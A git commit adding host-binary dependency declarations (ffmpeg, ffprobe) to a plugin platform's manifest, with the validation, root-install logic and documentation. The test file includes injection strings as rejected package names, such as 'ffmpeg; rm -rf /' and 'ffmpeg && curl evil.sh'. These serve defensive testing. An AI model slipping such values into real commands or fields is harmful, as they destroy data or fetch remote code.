plugins declare the host binaries they need, and the installer checks
Offscale was self-sufficient. Music is not — it shells out to ffmpeg and ffprobe — and the way it fails without them is the reason this is a check rather than a line in a README. It does not fail. Missing ffprobe means the indexer catches the spawn error and returns a track carrying its filename and nothing else: no title, artist, album, duration or embedded lyrics. It then walks the whole library, writes a complete cache tree and reports success. Five swallowed catches, no log, no counter, and the only tell is coversSaved: 0 in a report nobody reads. So `osDependencies` is a manifest field: the binary to probe on PATH, why it is needed, and a package name per package manager. The shape is taken from scripts/setup-old/setup.sh rather than invented — probe the binary, case on $PM — and the names are per-manager rather than canonical-with-overrides because lib/packages.sh already recorded why that indirection was rejected. Probing the binary is what makes "built-in on this OS" free: on PATH means the package map is never consulted. Four decisions worth naming. Missing and uninstallable REFUSES the install, first, before a table is created or a row written — so there is nothing to undo, and the alternative is a plugin that installs, answers 200 and quietly produces nothing. The status is on GET /api/plugins and rendered before the button, because the owner is deciding whether to let the server run a package manager as root and that needs answering first. Installing by hand and watching it flip to present is the escape hatch on a machine without passwordless sudo. Package names get a deliberately narrow regex and reach Bun.spawn as an argv ARRAY, never a shell. Both halves are load-bearing: the regex means a metacharacter cannot get there, argv means it would be an argument rather than syntax if it did. Narrower than package managers actually accept — no `:`, no `+` version pins — because a plugin needing one wants a conversation. Success is OBSERVED, not inferred: after installing, the binaries are re-probed. A package manager exiting 0 having installed something that does not provide the binary is exactly the failure this exists to catch. installCommand mirrors lib/packages.sh's pkg_install_now exactly, including apt's non-interactive environment, so there is one definition of "install a package" rather than two that drift. sudo always gets -n: under PM2 a password prompt is not a slow path, it is a hang. brew never escalates. Verified live. ffmpeg and ffprobe were absent on this machine all evening; the page showed both missing with the exact root command, the install streamed `dependencies: installing ffmpeg with apt` then `ffprobe, ffmpeg now on PATH`, and X-Audio-Duration appeared on a stream response for the first time. The refusal path was exercised against a temporary probe dependency: HTTP 400, steps: [], reason named. THIS CHANGED THE MACHINE: ffmpeg 6.1.1-3ubuntu5 is now installed via apt. Found on the way: a manifest is read once per process. Discovery does `await import()` and the module cache holds it, so editing a manifest changes nothing until pm2 restart officer — including `outdated`. Cost ten minutes and is now in the runbook. bunx tsgo clean. 797 tests, 787 pass, 7 fail — the same seven, +25 new.
This commit is contained in:
@@ -39,6 +39,11 @@ web/panels.ts panels — REQUIRED with web/
|
|||||||
web/layout.ts layout — REQUIRED with web/
|
web/layout.ts layout — REQUIRED with web/
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**A host binary is the one exception, and it goes in the manifest** — the tree cannot say it. Declare
|
||||||
|
`osDependencies` when your plugin shells out to something: the binary to probe on PATH, why it is needed,
|
||||||
|
and a package name per package manager. Absent means self-sufficient, which offscale and example are.
|
||||||
|
Music added the field; see its PLUGIN.md for what it is guarding against.
|
||||||
|
|
||||||
`appName` is the **directory name**. The sidecar runtime is the **file extension**.
|
`appName` is the **directory name**. The sidecar runtime is the **file extension**.
|
||||||
|
|
||||||
**Nothing may branch on provenance** except `mountPrefix()`. First-party and third-party differing
|
**Nothing may branch on provenance** except `mountPrefix()`. First-party and third-party differing
|
||||||
@@ -121,6 +126,10 @@ A normal refresh is enough; the shell is `no-store`. When the log's last line ap
|
|||||||
- **Moving a `*.test.ts` into `plugins/` used to stop it running, silently.** `[test] root` was `./src`
|
- **Moving a `*.test.ts` into `plugins/` used to stop it running, silently.** `[test] root` was `./src`
|
||||||
until music; it is now `.`. If that ever goes back, every extraction quietly shrinks the suite. Compare
|
until music; it is now `.`. If that ever goes back, every extraction quietly shrinks the suite. Compare
|
||||||
the FILE COUNT across a run, not just pass/fail — that is the only thing that shows it.
|
the FILE COUNT across a run, not just pass/fail — that is the only thing that shows it.
|
||||||
|
- **A manifest is read once per server process.** Discovery does `await import(manifest.ts)`, and the
|
||||||
|
module cache holds it for the lifetime of the process — so editing a manifest while developing changes
|
||||||
|
nothing until `pm2 restart officer`. Costs ten minutes the first time, because the plugins page keeps
|
||||||
|
cheerfully showing the old values. `outdated` cannot notice a version bump without a restart either.
|
||||||
- **A plugin importing platform code is fine (`@@/…`); the reverse is not.** If something in `src/` imports
|
- **A plugin importing platform code is fine (`@@/…`); the reverse is not.** If something in `src/` imports
|
||||||
from your feature and cannot move — a widget, a relay — that piece stays, and the boundary goes around
|
from your feature and cannot move — a widget, a relay — that piece stays, and the boundary goes around
|
||||||
it. Find those before you plan the split; they decide it for you.
|
it. Find those before you plan the split; they decide it for you.
|
||||||
|
|||||||
+36
-6
@@ -133,14 +133,44 @@ change inside `db/queries.ts`, not a flag on the manifest.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Host dependencies a manifest cannot declare
|
## Host dependencies — the field music created
|
||||||
|
|
||||||
`ffmpeg` and `ffprobe`, for tag reading, cover compression and video poster frames. There is no field for
|
`ffmpeg` and `ffprobe`. Offscale needed nothing, so until music there was no reason to build this and no
|
||||||
a host binary and inventing one for this would be a field nothing else reads.
|
way to say it; the first draft of this document said "there is no field for a host binary" and left it at
|
||||||
|
that. That was the wrong answer, because of HOW music fails without them.
|
||||||
|
|
||||||
**Neither is installed on this machine** (verified 2026-08-15). The sidecar starts and serves fine — the
|
It does not fail. `ffprobe` missing means the indexer catches the spawn error and returns a track carrying
|
||||||
`X-Audio-Duration` header simply does not appear, and indexing would produce no tags or covers. Nothing
|
its filename and nothing else — no title, artist, album, duration or embedded lyrics — then walks the
|
||||||
breaks today because there is no library: `~/Music` did not exist either.
|
whole library, writes a complete cache tree and reports success. Five swallowed catches in
|
||||||
|
`indexer.ts` and `stream-audio.ts`, no log, no counter. The only tell is `coversSaved: 0` in a report
|
||||||
|
nobody reads. A refusal wearing the costume of a normal result.
|
||||||
|
|
||||||
|
So `osDependencies` is a manifest field now (`servers/plugins/manifest.ts`, `servers/plugins/os-deps.ts`):
|
||||||
|
|
||||||
|
```ts
|
||||||
|
osDependencies: [
|
||||||
|
{ binary: 'ffprobe', reason: '…', packages: { apt: 'ffmpeg', pacman: 'ffmpeg', dnf: 'ffmpeg', brew: 'ffmpeg' } },
|
||||||
|
{ binary: 'ffmpeg', reason: '…', packages: { … } },
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
Both are declared even though one package provides both, because the platform probes BINARIES and these
|
||||||
|
two fail differently — and the owner should be told which one they are missing. The installer dedupes to
|
||||||
|
a single `ffmpeg` before anything reaches a command line.
|
||||||
|
|
||||||
|
The shape is `scripts/setup-old/setup.sh`'s, not invented: probe the binary, map to a package name per
|
||||||
|
manager. Probing the binary is what makes "built-in on this OS" free — if it is on PATH the package map
|
||||||
|
is never consulted. Per-manager names rather than canonical-with-overrides because `packages.sh` already
|
||||||
|
recorded why that indirection was rejected.
|
||||||
|
|
||||||
|
**Verified end to end on 2026-08-15.** Both binaries were absent on this machine all evening. The plugins
|
||||||
|
page showed `ffprobe missing — ffmpeg` and `ffmpeg missing — ffmpeg` with the exact root command it would
|
||||||
|
run; installing streamed `dependencies: installing ffmpeg with apt` → `dependencies: ffprobe, ffmpeg now
|
||||||
|
on PATH`, and `X-Audio-Duration: 7.026939` appeared on a stream response for the first time. The refusal
|
||||||
|
path was exercised separately against a temporary probe dependency: HTTP 400, `steps: []`, and the reason
|
||||||
|
named — nothing had happened, so there was nothing to undo.
|
||||||
|
|
||||||
|
`~/Music` still does not exist, so there is no library to index.
|
||||||
|
|
||||||
`cliamp`, `parec`, `pulseaudio` and `pactl` stayed behind with cliamp. The sidecar logs
|
`cliamp`, `parec`, `pulseaudio` and `pactl` stayed behind with cliamp. The sidecar logs
|
||||||
`pulseaudio not installed, skipping audio setup` and carries on, which is the right shape.
|
`pulseaudio not installed, skipping audio setup` and carries on, which is the right shape.
|
||||||
|
|||||||
@@ -39,10 +39,10 @@ import type { PluginManifest } from '@@/plugins/manifest';
|
|||||||
// install and gone at uninstall. So the seam switches itself off with the plugin, with no code path
|
// install and gone at uninstall. So the seam switches itself off with the plugin, with no code path
|
||||||
// that knows why.
|
// that knows why.
|
||||||
//
|
//
|
||||||
// ── Host dependencies a manifest cannot declare ──
|
// ── Host dependencies ──
|
||||||
//
|
//
|
||||||
// `ffmpeg` and `ffprobe` must be on PATH: tag reading, cover compression and video poster frames. There
|
// Music is the plugin that made `osDependencies` exist. Offscale was self-sufficient, so until this one
|
||||||
// is no field for a host binary and inventing one for this would be a field nothing else reads.
|
// there was nothing to declare and no reason to build the field — see ./PLUGIN.md.
|
||||||
export const manifest: PluginManifest = {
|
export const manifest: PluginManifest = {
|
||||||
publisher: 'officerdev',
|
publisher: 'officerdev',
|
||||||
version: '1.0.0',
|
version: '1.0.0',
|
||||||
@@ -82,4 +82,25 @@ export const manifest: PluginManifest = {
|
|||||||
readOnlyWrites: ['/favorites', '/now-playing', '/playlists', '/queue'],
|
readOnlyWrites: ['/favorites', '/now-playing', '/playlists', '/queue'],
|
||||||
},
|
},
|
||||||
],
|
],
|
||||||
|
|
||||||
|
// Both come from one package everywhere, which is luck rather than a rule — hence a name per manager
|
||||||
|
// rather than one canonical name. `packages.sh` records why that indirection was rejected.
|
||||||
|
//
|
||||||
|
// They are declared SEPARATELY even so, because the platform probes binaries and these two fail
|
||||||
|
// differently. Losing `ffprobe` is the quiet one: the indexer catches the spawn error and returns a
|
||||||
|
// track carrying its filename and nothing else — no title, artist, album, duration or embedded
|
||||||
|
// lyrics — then reports success. Losing `ffmpeg` costs cover art and video poster frames, which is at
|
||||||
|
// least visible. Naming both means the owner is told which of the two they are missing.
|
||||||
|
osDependencies: [
|
||||||
|
{
|
||||||
|
binary: 'ffprobe',
|
||||||
|
reason: 'Reads tags, duration and embedded lyrics. Without it every track indexes as a bare filename.',
|
||||||
|
packages: { apt: 'ffmpeg', pacman: 'ffmpeg', dnf: 'ffmpeg', brew: 'ffmpeg' },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
binary: 'ffmpeg',
|
||||||
|
reason: 'Compresses cover art for phones and grabs poster frames from videos.',
|
||||||
|
packages: { apt: 'ffmpeg', pacman: 'ffmpeg', dnf: 'ffmpeg', brew: 'ffmpeg' },
|
||||||
|
},
|
||||||
|
],
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import * as errors from '../../custom-errors';
|
|||||||
import { isSuperAdmin } from '../../super-admin';
|
import { isSuperAdmin } from '../../super-admin';
|
||||||
import { mountPrefix } from '../../plugins/manifest';
|
import { mountPrefix } from '../../plugins/manifest';
|
||||||
import { snapshotPlugins } from '../../plugins/mount';
|
import { snapshotPlugins } from '../../plugins/mount';
|
||||||
|
import { manualInstallHint, reportDependencies } from '../../plugins/os-deps';
|
||||||
import {
|
import {
|
||||||
installPlugin,
|
installPlugin,
|
||||||
pluginProcessStatus,
|
pluginProcessStatus,
|
||||||
@@ -43,6 +44,20 @@ pluginsRouter.get('/', async (ctx) => {
|
|||||||
// ask about. A plugin that is installed and enabled but whose process is not online is the state worth
|
// ask about. A plugin that is installed and enabled but whose process is not online is the state worth
|
||||||
// rendering differently — it is the difference between "off" and "broken".
|
// rendering differently — it is the difference between "off" and "broken".
|
||||||
const statuses = await Promise.all(states.map(({ plugin }) => pluginProcessStatus(plugin)));
|
const statuses = await Promise.all(states.map(({ plugin }) => pluginProcessStatus(plugin)));
|
||||||
|
// Synchronous and cheap — `Bun.which` per declared binary, and most plugins declare none. The one
|
||||||
|
// genuinely slow call in here is the `sudo -n` probe, which only runs when something is missing.
|
||||||
|
const dependencyReports = states.map(({ plugin }) => {
|
||||||
|
const report = reportDependencies(plugin);
|
||||||
|
return {
|
||||||
|
manager: report.manager,
|
||||||
|
items: report.dependencies,
|
||||||
|
satisfied: report.missing.length === 0,
|
||||||
|
canInstall: report.canInstall,
|
||||||
|
blockedReason: report.blockedReason,
|
||||||
|
packagesToInstall: report.packagesToInstall,
|
||||||
|
manualHint: manualInstallHint(report.manager, report.packagesToInstall),
|
||||||
|
};
|
||||||
|
});
|
||||||
return ctx.json({
|
return ctx.json({
|
||||||
plugins: states.map(({ plugin, install, outdated }, i) => ({
|
plugins: states.map(({ plugin, install, outdated }, i) => ({
|
||||||
appName: plugin.appName,
|
appName: plugin.appName,
|
||||||
@@ -67,6 +82,13 @@ pluginsRouter.get('/', async (ctx) => {
|
|||||||
installedVersion: install?.version ?? null,
|
installedVersion: install?.version ?? null,
|
||||||
outdated,
|
outdated,
|
||||||
processStatus: statuses[i] ?? null,
|
processStatus: statuses[i] ?? null,
|
||||||
|
// Probed live, against this machine's PATH, on every read.
|
||||||
|
//
|
||||||
|
// Deliberately here rather than only inside the installer: the owner decides whether to let the
|
||||||
|
// server run `apt-get install` as root, and that decision needs the answer BEFORE the button, not
|
||||||
|
// in the log afterwards. It also lets them install the packages by hand first and watch this flip
|
||||||
|
// to present, which is the escape hatch for a machine with no passwordless sudo.
|
||||||
|
dependencies: dependencyReports[i]!,
|
||||||
})),
|
})),
|
||||||
broken,
|
broken,
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import { addPluginToEcosystem, pluginProcessName, removePluginFromEcosystem } fr
|
|||||||
import { discoverPlugins } from './discover';
|
import { discoverPlugins } from './discover';
|
||||||
import { refreshPluginMounts, snapshotPlugins } from './mount';
|
import { refreshPluginMounts, snapshotPlugins } from './mount';
|
||||||
import { generatePluginSchemas, pushSchema } from './schema';
|
import { generatePluginSchemas, pushSchema } from './schema';
|
||||||
|
import { installDependencies, manualInstallHint, reportDependencies, stillMissing } from './os-deps';
|
||||||
import type { DiscoveredPlugin } from './manifest';
|
import type { DiscoveredPlugin } from './manifest';
|
||||||
|
|
||||||
// The install runner: the four verbs, each as a short ordered list of effects.
|
// The install runner: the four verbs, each as a short ordered list of effects.
|
||||||
@@ -19,11 +20,15 @@ import type { DiscoveredPlugin } from './manifest';
|
|||||||
//
|
//
|
||||||
// ── What each verb touches ──
|
// ── What each verb touches ──
|
||||||
//
|
//
|
||||||
// ecosystem PM2 row mounts tables
|
// host deps ecosystem PM2 row mounts tables
|
||||||
// install add start upsert rebuild (see below)
|
// install install add start upsert rebuild (see below)
|
||||||
// uninstall remove delete delete rebuild untouched
|
// uninstall untouched remove delete delete rebuild untouched
|
||||||
// enable — start enabled=t rebuild untouched
|
// enable untouched — start enabled=t rebuild untouched
|
||||||
// disable — stop enabled=f rebuild untouched
|
// disable untouched — stop enabled=f rebuild untouched
|
||||||
|
//
|
||||||
|
// Host dependencies are installed and never removed. A package is a machine-wide resource that other
|
||||||
|
// things may have started depending on the moment it appeared, so uninstalling a plugin has no business
|
||||||
|
// deciding that `ffmpeg` should go — the same reasoning as tables, one level down.
|
||||||
//
|
//
|
||||||
// Nothing here drops a table, ever. Uninstall means "stop running this", and for a plugin holding a
|
// Nothing here drops a table, ever. Uninstall means "stop running this", and for a plugin holding a
|
||||||
// user's data the two are unrecoverably different — see `plugin_installs` schema.
|
// user's data the two are unrecoverably different — see `plugin_installs` schema.
|
||||||
@@ -94,6 +99,59 @@ export async function installPlugin(appName: string, onStep?: OnStep): Promise<P
|
|||||||
|
|
||||||
const steps: string[] = [];
|
const steps: string[] = [];
|
||||||
try {
|
try {
|
||||||
|
// HOST BINARIES FIRST, before a table is created or a row is written.
|
||||||
|
//
|
||||||
|
// Music is why. Without `ffprobe` its indexer does not fail — it writes a complete library where
|
||||||
|
// every track is a bare filename with no cover, and reports success. So a plugin whose dependencies
|
||||||
|
// cannot be satisfied must not install at all: the alternative is a plugin that runs, answers 200,
|
||||||
|
// and quietly produces nothing, which is far harder to diagnose than a refusal.
|
||||||
|
//
|
||||||
|
// First because it is the only step that can refuse for a reason the owner can act on, and refusing
|
||||||
|
// before any effect means there is nothing to undo. Everything below this line changes the machine.
|
||||||
|
const deps = reportDependencies(plugin);
|
||||||
|
if (deps.missing.length) {
|
||||||
|
if (!deps.canInstall) {
|
||||||
|
const hint = manualInstallHint(deps.manager, deps.packagesToInstall);
|
||||||
|
return {
|
||||||
|
ok: false,
|
||||||
|
appName,
|
||||||
|
steps,
|
||||||
|
error:
|
||||||
|
`${appName} needs ${deps.missing.map((d) => d.binary).join(', ')}, which ${deps.missing.length === 1 ? 'is' : 'are'} not installed. ` +
|
||||||
|
`${deps.blockedReason ?? ''}${hint ? ` Run: ${hint}` : ''}`.trim(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
await step(steps, onStep, `dependencies: installing ${deps.packagesToInstall.join(', ')} with ${deps.manager}`);
|
||||||
|
const installed = await installDependencies(deps.manager!, deps.packagesToInstall);
|
||||||
|
if (!installed.ok) {
|
||||||
|
return {
|
||||||
|
ok: false,
|
||||||
|
appName,
|
||||||
|
steps,
|
||||||
|
error: `dependency install failed: ${installed.error ?? installed.output}`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Observed, not inferred. A package manager exiting 0 having installed something that does not
|
||||||
|
// provide the binary the plugin spawns is exactly the failure this whole check exists to catch,
|
||||||
|
// and trusting the exit code would reproduce it one layer up.
|
||||||
|
const absent = stillMissing(plugin);
|
||||||
|
if (absent.length) {
|
||||||
|
return {
|
||||||
|
ok: false,
|
||||||
|
appName,
|
||||||
|
steps,
|
||||||
|
error: `installed ${deps.packagesToInstall.join(', ')}, but ${absent.join(', ')} still ${absent.length === 1 ? 'is' : 'are'} not on PATH`,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
await step(steps, onStep, `dependencies: ${deps.missing.map((d) => d.binary).join(', ')} now on PATH`);
|
||||||
|
} else if (deps.dependencies.length) {
|
||||||
|
// Said out loud rather than skipped silently: "it was already there" and "we never looked" are
|
||||||
|
// different facts, and only one of them is reassuring.
|
||||||
|
await step(steps, onStep, `dependencies: ${deps.dependencies.map((d) => d.binary).join(', ')} already present`);
|
||||||
|
}
|
||||||
|
|
||||||
if (plugin.schema) {
|
if (plugin.schema) {
|
||||||
// The barrel first, then the push. It is generated from the DIRECTORIES on disk rather than from
|
// The barrel first, then the push. It is generated from the DIRECTORIES on disk rather than from
|
||||||
// what is installed — see schema.ts for why that difference is the whole safety property.
|
// what is installed — see schema.ts for why that difference is the whole safety property.
|
||||||
|
|||||||
@@ -44,6 +44,46 @@ export type PluginPermission = {
|
|||||||
readOnlyWrites?: string[];
|
readOnlyWrites?: string[];
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/** The package managers the platform knows how to drive. Mirrors `PM` in machine-setup's lib/base.sh. */
|
||||||
|
export type PackageManager = 'apt' | 'pacman' | 'dnf' | 'brew';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A host binary the plugin shells out to, and how to get it.
|
||||||
|
*
|
||||||
|
* ── Why a BINARY plus per-manager package names, and not a package name ──
|
||||||
|
*
|
||||||
|
* Offscale needed nothing. Music needs `ffmpeg` and `ffprobe`, and without them its indexer does not
|
||||||
|
* fail — it writes a complete library where every track is a bare filename with no cover, and reports
|
||||||
|
* success. A refusal wearing the costume of a normal result, which is the failure shape this codebase
|
||||||
|
* keeps finding. So a plugin has to be able to say what it needs, and the platform has to check.
|
||||||
|
*
|
||||||
|
* The shape is taken from `scripts/setup-old/setup.sh`, which had already solved this:
|
||||||
|
*
|
||||||
|
* if has <binary>; then skip; else
|
||||||
|
* case $PM in apt) …; pacman) …; brew) skip "built-in" ;; esac
|
||||||
|
* fi
|
||||||
|
*
|
||||||
|
* Probing the BINARY rather than the package is what makes that `brew) built-in` case free: if it is on
|
||||||
|
* PATH we never look at `packages` at all, so a manager needing no package simply has no entry.
|
||||||
|
*
|
||||||
|
* And the names are per manager rather than canonical-with-overrides, deliberately. `packages.sh` says
|
||||||
|
* why, having tried the alternative: `build-essential`/`base-devel`, `fd`/`fd-find`, and some things are
|
||||||
|
* not a package elsewhere at all. A translation table hides both behind indirection; a per-manager map
|
||||||
|
* says what each system actually gets.
|
||||||
|
*/
|
||||||
|
export type OsDependency = {
|
||||||
|
/** Looked up on PATH. The name the plugin's code actually spawns, not a package. */
|
||||||
|
binary: string;
|
||||||
|
/** Shown to the owner before they install. What breaks without it, in their words not a package's. */
|
||||||
|
reason: string;
|
||||||
|
/**
|
||||||
|
* Package to install per manager. A manager left out means "cannot be installed automatically here" —
|
||||||
|
* which for a binary that is present anyway is correct and silent, and otherwise becomes an instruction
|
||||||
|
* to the owner rather than a guess.
|
||||||
|
*/
|
||||||
|
packages: Partial<Record<PackageManager, string>>;
|
||||||
|
};
|
||||||
|
|
||||||
export type PluginManifest = {
|
export type PluginManifest = {
|
||||||
/**
|
/**
|
||||||
* Who published it. The ONLY input to `mountPrefix`, so first-party and third-party can never become two
|
* Who published it. The ONLY input to `mountPrefix`, so first-party and third-party can never become two
|
||||||
@@ -63,6 +103,15 @@ export type PluginManifest = {
|
|||||||
color: string;
|
color: string;
|
||||||
|
|
||||||
permissions: PluginPermission[];
|
permissions: PluginPermission[];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Host binaries this plugin needs. Absent means it is self-sufficient, which offscale and example are.
|
||||||
|
*
|
||||||
|
* Checked before anything else happens on install: present ones are never named on a command line, and
|
||||||
|
* a missing one that cannot be installed here refuses the install rather than proceeding to a plugin
|
||||||
|
* that runs and quietly produces nothing.
|
||||||
|
*/
|
||||||
|
osDependencies?: OsDependency[];
|
||||||
};
|
};
|
||||||
|
|
||||||
/** What the platform knows about a plugin on disk: its manifest, plus everything the tree said. */
|
/** What the platform knows about a plugin on disk: its manifest, plus everything the tree said. */
|
||||||
@@ -123,6 +172,65 @@ export function mountPrefix(plugin: { appName: string; manifest: { publisher: st
|
|||||||
/** An app name has to be a URL segment, a SQL identifier prefix and a directory name at once. */
|
/** An app name has to be a URL segment, a SQL identifier prefix and a directory name at once. */
|
||||||
const APP_NAME_RE = /^[a-z][a-z0-9-]{0,38}$/;
|
const APP_NAME_RE = /^[a-z][a-z0-9-]{0,38}$/;
|
||||||
|
|
||||||
|
/** Every package manager the installer can drive. Anything else in a manifest is refused by name. */
|
||||||
|
export const PACKAGE_MANAGERS: PackageManager[] = ['apt', 'pacman', 'dnf', 'brew'];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* What may appear in an `osDependencies` entry — and this is the strictest rule in the file, on purpose.
|
||||||
|
*
|
||||||
|
* These two strings are the only values in a manifest that reach a root command line. They are passed to
|
||||||
|
* `Bun.spawn` as an argv array and never through a shell, so a metacharacter could not be interpreted
|
||||||
|
* even if one got here — but "could not be interpreted by the shell we happen to use today" is not a
|
||||||
|
* property to rest a root install on. So the characters are not there to be interpreted.
|
||||||
|
*
|
||||||
|
* Deliberately narrower than what package managers actually accept. No `+`, no `~`, no `:` — so `apt`'s
|
||||||
|
* `pkg:arch` qualifier and any version pin are refused. A plugin that needs one wants a conversation,
|
||||||
|
* not a regex that already allows it.
|
||||||
|
*/
|
||||||
|
const BINARY_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$/;
|
||||||
|
const PACKAGE_RE = /^[a-z0-9][a-z0-9.+-]{0,63}$/;
|
||||||
|
|
||||||
|
/** Reasons an `osDependencies` list is unusable. Empty when it is fine. */
|
||||||
|
function osDependencyProblems(deps: unknown): string[] {
|
||||||
|
if (deps === undefined) return [];
|
||||||
|
if (!Array.isArray(deps)) return ['osDependencies must be an array when present'];
|
||||||
|
|
||||||
|
const problems: string[] = [];
|
||||||
|
for (const [i, dep] of deps.entries()) {
|
||||||
|
const at = `osDependencies[${i}]`;
|
||||||
|
if (!dep || typeof dep !== 'object') {
|
||||||
|
problems.push(`${at} must be an object`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const { binary, reason, packages } = dep as Partial<OsDependency>;
|
||||||
|
|
||||||
|
if (typeof binary !== 'string' || !BINARY_RE.test(binary)) {
|
||||||
|
problems.push(`${at}.binary must be a plain command name — letters, digits, dot, dash, underscore`);
|
||||||
|
}
|
||||||
|
// Required rather than optional: it is what the owner reads when deciding whether to let this
|
||||||
|
// machine install something as root, and "ffprobe" alone does not answer that question.
|
||||||
|
if (typeof reason !== 'string' || !reason.trim()) {
|
||||||
|
problems.push(`${at}.reason is required — say what stops working without it`);
|
||||||
|
}
|
||||||
|
if (!packages || typeof packages !== 'object') {
|
||||||
|
problems.push(`${at}.packages must be an object keyed by package manager`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (const [manager, name] of Object.entries(packages)) {
|
||||||
|
if (!PACKAGE_MANAGERS.includes(manager as PackageManager)) {
|
||||||
|
problems.push(
|
||||||
|
`${at}.packages has unknown package manager "${manager}" — one of ${PACKAGE_MANAGERS.join(', ')}`,
|
||||||
|
);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (typeof name !== 'string' || !PACKAGE_RE.test(name)) {
|
||||||
|
problems.push(`${at}.packages.${manager} must be a plain package name — lowercase, digits, dot, plus, dash`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return problems;
|
||||||
|
}
|
||||||
|
|
||||||
/** A publisher shares the app name's constraints — it is a path segment too. */
|
/** A publisher shares the app name's constraints — it is a path segment too. */
|
||||||
const PUBLISHER_RE = /^[a-z][a-z0-9-]{0,38}$/;
|
const PUBLISHER_RE = /^[a-z][a-z0-9-]{0,38}$/;
|
||||||
|
|
||||||
@@ -161,5 +269,6 @@ export function manifestProblems(appName: string, manifest: Partial<PluginManife
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
problems.push(...osDependencyProblems(manifest.osDependencies));
|
||||||
return problems;
|
return problems;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,132 @@
|
|||||||
|
import { describe, expect, test } from 'bun:test';
|
||||||
|
import { manifestProblems, type PluginManifest } from './manifest';
|
||||||
|
import { installCommand, manualInstallHint } from './os-deps';
|
||||||
|
|
||||||
|
// The manifest field that reaches a ROOT command line, and the argv it turns into.
|
||||||
|
//
|
||||||
|
// Everything here is pure — no machine is probed, because what needs pinning is the two things a bad
|
||||||
|
// manifest could do: get a metacharacter into an argument, and get a package installed that the owner
|
||||||
|
// never saw named.
|
||||||
|
|
||||||
|
const base: PluginManifest = {
|
||||||
|
publisher: 'officerdev',
|
||||||
|
version: '1.0.0',
|
||||||
|
platform: '>=1.0.0',
|
||||||
|
label: 'Probe',
|
||||||
|
summary: 'fixture',
|
||||||
|
icon: 'Puzzle',
|
||||||
|
color: '#000000',
|
||||||
|
permissions: [],
|
||||||
|
};
|
||||||
|
|
||||||
|
const withDeps = (osDependencies: unknown): PluginManifest =>
|
||||||
|
({ ...base, osDependencies }) as unknown as PluginManifest;
|
||||||
|
|
||||||
|
describe('osDependencies validation', () => {
|
||||||
|
test('a plugin declaring nothing is fine — offscale and example are self-sufficient', () => {
|
||||||
|
expect(manifestProblems('probe', base)).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('the shape music uses is accepted', () => {
|
||||||
|
const problems = manifestProblems(
|
||||||
|
'probe',
|
||||||
|
withDeps([{ binary: 'ffprobe', reason: 'reads tags', packages: { apt: 'ffmpeg', brew: 'ffmpeg' } }]),
|
||||||
|
);
|
||||||
|
expect(problems).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The whole point of the field being narrow. These are argv entries in a command run as root, and the
|
||||||
|
// characters are refused rather than escaped — "our current spawn does not use a shell" is not a
|
||||||
|
// property to rest a root install on.
|
||||||
|
test.each([
|
||||||
|
['ffmpeg; rm -rf /'],
|
||||||
|
['ffmpeg && curl evil.sh'],
|
||||||
|
['$(id)'],
|
||||||
|
['`id`'],
|
||||||
|
['ff|mpeg'],
|
||||||
|
['../../bin/sh'],
|
||||||
|
['ffmpeg\nrm'],
|
||||||
|
['-rf'],
|
||||||
|
[''],
|
||||||
|
])('refuses %j as a package name', (name) => {
|
||||||
|
const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', reason: 'x', packages: { apt: name } }]));
|
||||||
|
expect(problems.some((p) => p.includes('packages.apt'))).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test.each([['ff mpeg'], ['/usr/bin/ffmpeg'], ['ff;probe'], ['']])('refuses %j as a binary name', (name) => {
|
||||||
|
const problems = manifestProblems('probe', withDeps([{ binary: name, reason: 'x', packages: { apt: 'ffmpeg' } }]));
|
||||||
|
expect(problems.some((p) => p.includes('binary'))).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('refuses a package manager it cannot drive', () => {
|
||||||
|
const problems = manifestProblems('probe', withDeps([{ binary: 'x', reason: 'y', packages: { yum: 'x' } }]));
|
||||||
|
expect(problems.some((p) => p.includes('unknown package manager "yum"'))).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
// `reason` is required because it is what the owner reads when deciding whether to let this machine
|
||||||
|
// install something as root. "ffprobe" alone does not answer that.
|
||||||
|
test('requires a reason', () => {
|
||||||
|
const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', packages: { apt: 'ffmpeg' } }]));
|
||||||
|
expect(problems.some((p) => p.includes('reason is required'))).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('reports every problem at once rather than the first', () => {
|
||||||
|
const problems = manifestProblems('probe', withDeps([{ binary: 'bad name', packages: { apt: 'bad;name' } }]));
|
||||||
|
expect(problems.length).toBeGreaterThanOrEqual(3);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('installCommand', () => {
|
||||||
|
test('apt carries the non-interactive environment, matching lib/packages.sh', () => {
|
||||||
|
expect(installCommand('apt', ['ffmpeg'])).toEqual([
|
||||||
|
'sudo',
|
||||||
|
'-n',
|
||||||
|
'env',
|
||||||
|
'DEBIAN_FRONTEND=noninteractive',
|
||||||
|
'NEEDRESTART_MODE=a',
|
||||||
|
'apt-get',
|
||||||
|
'install',
|
||||||
|
'-y',
|
||||||
|
'ffmpeg',
|
||||||
|
]);
